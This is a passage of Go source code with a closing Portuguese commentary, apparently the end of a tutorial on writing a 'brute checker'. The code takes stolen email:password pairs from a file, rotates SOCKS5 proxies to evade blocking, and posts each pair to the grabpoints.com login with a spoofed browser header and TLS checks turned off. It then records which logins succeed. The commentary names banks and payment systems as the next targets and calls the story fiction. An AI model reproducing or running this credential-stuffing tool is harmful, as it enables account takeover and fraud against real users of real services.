        return "", "", fmt.Errorf("failed to open proxy file for writing: %v", err)
    }
    defer file.Close()

    for _, line := range remainingLines {
        _, err := fmt.Fprintln(file, line)
        if err != nil {
            return "", "", fmt.Errorf("failed to write remaining lines to proxy file: %v", err)
        }
    }

    return parts[0], parts[1], nil
}

func returnProxy(proxy, port string) error {
    file, err := os.OpenFile(proxyFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
    if err != nil {
        return fmt.Errorf("failed to open proxy file: %v", err)
    }
    defer file.Close()

    _, err = fmt.Fprintf(file, "%s:%s\n", proxy, port)
    if err != nil {
        return fmt.Errorf("failed to write proxy to file: %v", err)
    }

    return nil
}

func getAccount() (string, string, error) {
    file, err := os.Open(accountFile)
    if err != nil {
        return "", "", fmt.Errorf("failed to open account file: %v", err)
    }
    defer file.Close()

    var accountInfo string
    scanner := bufio.NewScanner(file)
    if scanner.Scan() {
        accountInfo = scanner.Text()
    } else {
        return "", "", fmt.Errorf("account file is empty")
    }

    parts := strings.Split(accountInfo, ":")
    if len(parts) != 2 {
        return "", "", fmt.Errorf("invalid account format: %s", accountInfo)
    }

    var remainingLines []string
    for scanner.Scan() {
        remainingLines = append(remainingLines, scanner.Text())
    }

    file.Close()

    file, err = os.Create(accountFile)
    if err != nil {
        return "", "", fmt.Errorf("failed to open account file for writing: %v", err)
    }
    defer file.Close()

    for _, line := range remainingLines {
        _, err := fmt.Fprintln(file, line)
        if err != nil {
            return "", "", fmt.Errorf("failed to write remaining lines to account file: %v", err)
        }
    }

    return parts[0], parts[1], nil
}
func checkAuth(userName, password string) (int, error) {
    for i := 0; i < 5; i++ {

        ip, port, err := getProxy()
        if err != nil {
            return 0, fmt.Errorf("failed to get proxy: %v", err)
        }

        fmt.Printf("Proxy: %s\nPort: %s\n", ip, port)

        dialer, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%s", ip, port), nil, proxy.Direct)
        if err != nil {
            fmt.Printf("Error while creating SOCKS5 proxy: %v\n", err)
            continue
        }
        fmt.Printf("Email: %s\nPassword: %s\n", userName, password)
        payload := []byte(fmt.Sprintf(`{
            "userName": "%s",
            "password": "%s"
        }`, userName, password))

        httpTransport := &http.Transport{
            Dial:            dialer.Dial,
            TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        }
        client := &http.Client{Transport: httpTransport, Timeout: requestTimeout}

        req, err := http.NewRequest("POST", urlAuth, bytes.NewBuffer(payload))
        if err != nil {
            fmt.Printf("Error creating request: %v\n", err)
            continue
        }
        req.Header.Set("Content-Type", "application/vnd-v4.0+json")
        req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
        req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
        req.Header.Set("Accept-Language", "en-US,en;q=0.9")
        req.Header.Set("Origin", "https://grabpoints.com/")
        req.Header.Set("Referer", "https://grabpoints.com/")

        resp, err := client.Do(req)
        if err != nil {
            fmt.Printf("Error sending request: %v\n", err)
            continue
        }
        defer resp.Body.Close()

        fmt.Println("Response Status:", resp.Status)
        body, err := io.ReadAll(resp.Body)
        if err != nil {
            fmt.Printf("Error reading response: %v\n", err)
            continue
        }
        fmt.Println("Response Body:", string(body))
        if strings.Contains(string(body), "bad credentials") {
            err = returnProxy(ip, port)
            if err != nil {
                fmt.Printf("Failed to return proxy: %v", err)
            }
            fmt.Printf("%s:%s - fail\n", userName, password)
            return 2, nil
        }
        if strings.Contains(string(body), "authorities") {
            err = returnProxy(ip, port)
            if err != nil {
                fmt.Printf("Failed to return proxy: %v", err)
            }
            fmt.Printf("%s:%s - success\n", userName, password)
            return 1, nil
        }

    }
    fmt.Println("The maximum number of attempts has been reached.")
    return 10, nil
}

Não creio que este site em particular tenha qualquer interesse do ponto de vista das conclusões materiais. Usando seu exemplo, queria mostrar a lógica do desenvolvimento de um verificador bruto, bem como alguns problemas que podem surgir ao longo do caminho. Provavelmente, ao desenvolver um verificador bruto para bancos e sistemas de pagamento, encontraremos proteções mais poderosas. Falarei sobre captchas, bem como sobre multi-threading, na próxima vez; De qualquer forma, desenvolver tais programas pode ser uma atividade muito emocionante, porém, esta história é apenas ficção